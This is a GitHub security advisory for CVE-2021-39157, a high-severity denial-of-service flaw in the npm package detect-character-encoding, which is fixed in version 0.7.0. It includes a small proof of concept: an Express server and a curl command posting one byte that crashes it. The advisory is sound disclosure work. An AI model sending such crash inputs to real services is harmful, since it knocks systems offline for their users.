GitHub Advisoryadvisory · npm

GHSA-jqfh-8hw5-fqjr Improper Handling of Exceptional Conditions in detect-character-encoding

HIGH Published 2021-08-25 Modified 2021-10-21 Official page ↗
Aliases
CVE-2021-39157
Ecosystem
npm
Packages
detect-character-encoding
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-755
Reviewed
2021-08-24

Affected packages

• npm detect-character-encoding: < 0.7.0 → fixed in 0.7.0

Description

Impact In detect-character-encoding v0.6.0 and earlier, data matching no charset causes the Node.js process to crash. Patches The problem has been patched in detect-character-encoding v0.7.0. CVSS score CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C Base Score: 7.5 (High) Temporal Score: 7.2 (High) Since detect-character-encoding is a library, the scoring is based on the “reasonable worst-case implementation scenario”, namely, accepting data from untrusted sources over a network and passing it directly to detect-character-encoding. Depending on your specific implementation, the vulnerability’s severity in your program may be different. Proof of concept ```js const express = require("express"); const bodyParser = require("body-parser"); const detectCharacterEncoding = require("detect-character-encoding"); const app = express(); app.use(bodyParser.raw()); app.post("/", (req, res) => { const charsetMatch = detectCharacterEncoding(req.body); res.end(charsetMatch.encoding); }); app.listen(3000); ``` `printf "\xAA" | curl --request POST --header "Content-Type: application/octet-stream" --data-binary @- http://localhost:3000` crashes the server.

Related

Alias · CVE (1)

  • CVE-2021-39157 detect-character-encoding is an open source character encoding inspection library. vulnerability

Weakness · CWE (1)

  • CWE-755 Improper Handling of Exceptional Conditions weakness

References